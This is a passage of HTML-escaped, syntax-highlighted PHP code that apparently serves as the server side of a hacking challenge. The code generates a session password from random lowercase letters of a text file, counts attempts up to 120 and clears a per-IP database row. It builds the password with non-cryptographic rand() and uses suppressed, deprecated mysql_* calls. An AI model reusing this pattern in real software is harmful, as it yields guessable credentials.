&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&lt;span class=&quot;re0&quot; style=&quot;color: #000088;&quot;&gt;$link&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;=&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;@&lt;/span&gt;&lt;span class=&quot;kw3&quot; style=&quot;color: #990000;&quot;&gt;mysql_connect&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;st_h&quot; style=&quot;color: blue;&quot;&gt;&#39;localhost&#39;&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;st_h&quot; style=&quot;color: blue;&quot;&gt;&#39;&#39;&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;st_h&quot; style=&quot;color: blue;&quot;&gt;&#39;&#39;&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;@&lt;/span&gt;&lt;span class=&quot;kw3&quot; style=&quot;color: #990000;&quot;&gt;mysql_select_db&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;st_h&quot; style=&quot;color: blue;&quot;&gt;&#39;&#39;&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;re0&quot; style=&quot;color: #000088;&quot;&gt;$link&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&lt;span class=&quot;kw2&quot; style=&quot;font-weight: bold;&quot;&gt;function&lt;/span&gt;&amp;nbsp;RandomString&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;)&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;{&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp;&amp;nbsp;&lt;span class=&quot;re0&quot; style=&quot;color: #000088;&quot;&gt;$filename&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;=&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;st0&quot; style=&quot;color: blue;&quot;&gt;&quot;smash.txt&quot;&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp;&amp;nbsp;&lt;span class=&quot;re0&quot; style=&quot;color: #000088;&quot;&gt;$f&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;=&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;kw3&quot; style=&quot;color: #990000;&quot;&gt;fopen&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;re0&quot; style=&quot;color: #000088;&quot;&gt;$filename&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;st0&quot; style=&quot;color: blue;&quot;&gt;&quot;r&quot;&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp;&amp;nbsp;&lt;span class=&quot;re0&quot; style=&quot;color: #000088;&quot;&gt;$len&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;=&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;kw3&quot; style=&quot;color: #990000;&quot;&gt;filesize&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;re0&quot; style=&quot;color: #000088;&quot;&gt;$filename&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp;&amp;nbsp;&lt;span class=&quot;re0&quot; style=&quot;color: #000088;&quot;&gt;$contents&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;=&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;kw3&quot; style=&quot;color: #990000;&quot;&gt;fread&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;re0&quot; style=&quot;color: #000088;&quot;&gt;$f&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;re0&quot; style=&quot;color: #000088;&quot;&gt;$len&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp;&amp;nbsp;&lt;span class=&quot;re0&quot; style=&quot;color: #000088;&quot;&gt;$randstring&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;=&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;st_h&quot; style=&quot;color: blue;&quot;&gt;&#39;&#39;&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp;&amp;nbsp;&lt;span class=&quot;kw1&quot; style=&quot;color: #b1b100;&quot;&gt;while&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;(&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;kw3&quot; style=&quot;color: #990000;&quot;&gt;strlen&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;re0&quot; style=&quot;color: #000088;&quot;&gt;$randstring&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nu0&quot; style=&quot;color: #cc66cc;&quot;&gt;30&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;{&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;span class=&quot;re0&quot; style=&quot;color: #000088;&quot;&gt;$t&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;=&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;re0&quot; style=&quot;color: #000088;&quot;&gt;$contents&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;kw3&quot; style=&quot;color: #990000;&quot;&gt;rand&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nu0&quot; style=&quot;color: #cc66cc;&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;re0&quot; style=&quot;color: #000088;&quot;&gt;$len&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;nu0&quot; style=&quot;color: #cc66cc;&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;span class=&quot;kw1&quot; style=&quot;color: #b1b100;&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kw3&quot; style=&quot;color: #990000;&quot;&gt;ctype_lower&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;re0&quot; style=&quot;color: #000088;&quot;&gt;$t&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;{&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;span class=&quot;re0&quot; style=&quot;color: #000088;&quot;&gt;$randstring&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;.=&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;re0&quot; style=&quot;color: #000088;&quot;&gt;$t&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;}&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp;&amp;nbsp;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;}&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp;&amp;nbsp;&lt;span class=&quot;kw1&quot; style=&quot;color: #b1b100;&quot;&gt;return&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;re0&quot; style=&quot;color: #000088;&quot;&gt;$randstring&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;}&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&lt;span class=&quot;re0&quot; style=&quot;color: #000088;&quot;&gt;$max_times&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;=&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;nu0&quot; style=&quot;color: #cc66cc;&quot;&gt;120&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&lt;span class=&quot;kw1&quot; style=&quot;color: #b1b100;&quot;&gt;if&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;re0&quot; style=&quot;color: #000088;&quot;&gt;$_SESSION&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;st_h&quot; style=&quot;color: blue;&quot;&gt;&#39;cnt&#39;&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;]&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;&amp;gt;&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;re0&quot; style=&quot;color: #000088;&quot;&gt;$max_times&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;{&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp;&amp;nbsp;&lt;span class=&quot;kw3&quot; style=&quot;color: #990000;&quot;&gt;unset&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;re0&quot; style=&quot;color: #000088;&quot;&gt;$_SESSION&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;st_h&quot; style=&quot;color: blue;&quot;&gt;&#39;cnt&#39;&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;}&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&lt;span class=&quot;kw1&quot; style=&quot;color: #b1b100;&quot;&gt;if&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;(&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;kw3&quot; style=&quot;color: #990000;&quot;&gt;isset&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;re0&quot; style=&quot;color: #000088;&quot;&gt;$_SESSION&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;st_h&quot; style=&quot;color: blue;&quot;&gt;&#39;cnt&#39;&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;{&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp;&amp;nbsp;&lt;span class=&quot;re0&quot; style=&quot;color: #000088;&quot;&gt;$_SESSION&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;st_h&quot; style=&quot;color: blue;&quot;&gt;&#39;cnt&#39;&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;nu0&quot; style=&quot;color: #cc66cc;&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp;&amp;nbsp;&lt;span class=&quot;re0&quot; style=&quot;color: #000088;&quot;&gt;$_SESSION&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;st_h&quot; style=&quot;color: blue;&quot;&gt;&#39;password&#39;&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;=&lt;/span&gt;RandomString&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp;&amp;nbsp;&lt;span class=&quot;re0&quot; style=&quot;color: #000088;&quot;&gt;$query&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;=&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;st0&quot; style=&quot;color: blue;&quot;&gt;&quot;delete from rms_120_pw where ip=&#39;&lt;span class=&quot;es4&quot; style=&quot;color: #006699; font-weight: bold;&quot;&gt;$_SERVER[REMOTE_ADDR]&lt;/span&gt;&#39;&quot;&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp;&amp;nbsp;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;@&lt;/span&gt;&lt;span class=&quot;kw3&quot; style=&quot;color: #990000;&quot;&gt;mysql_query&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;re0&quot; style=&quot;color: #000088;&quot;&gt;$query&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp;&lt;/div&gt;
&lt;/li&gt;
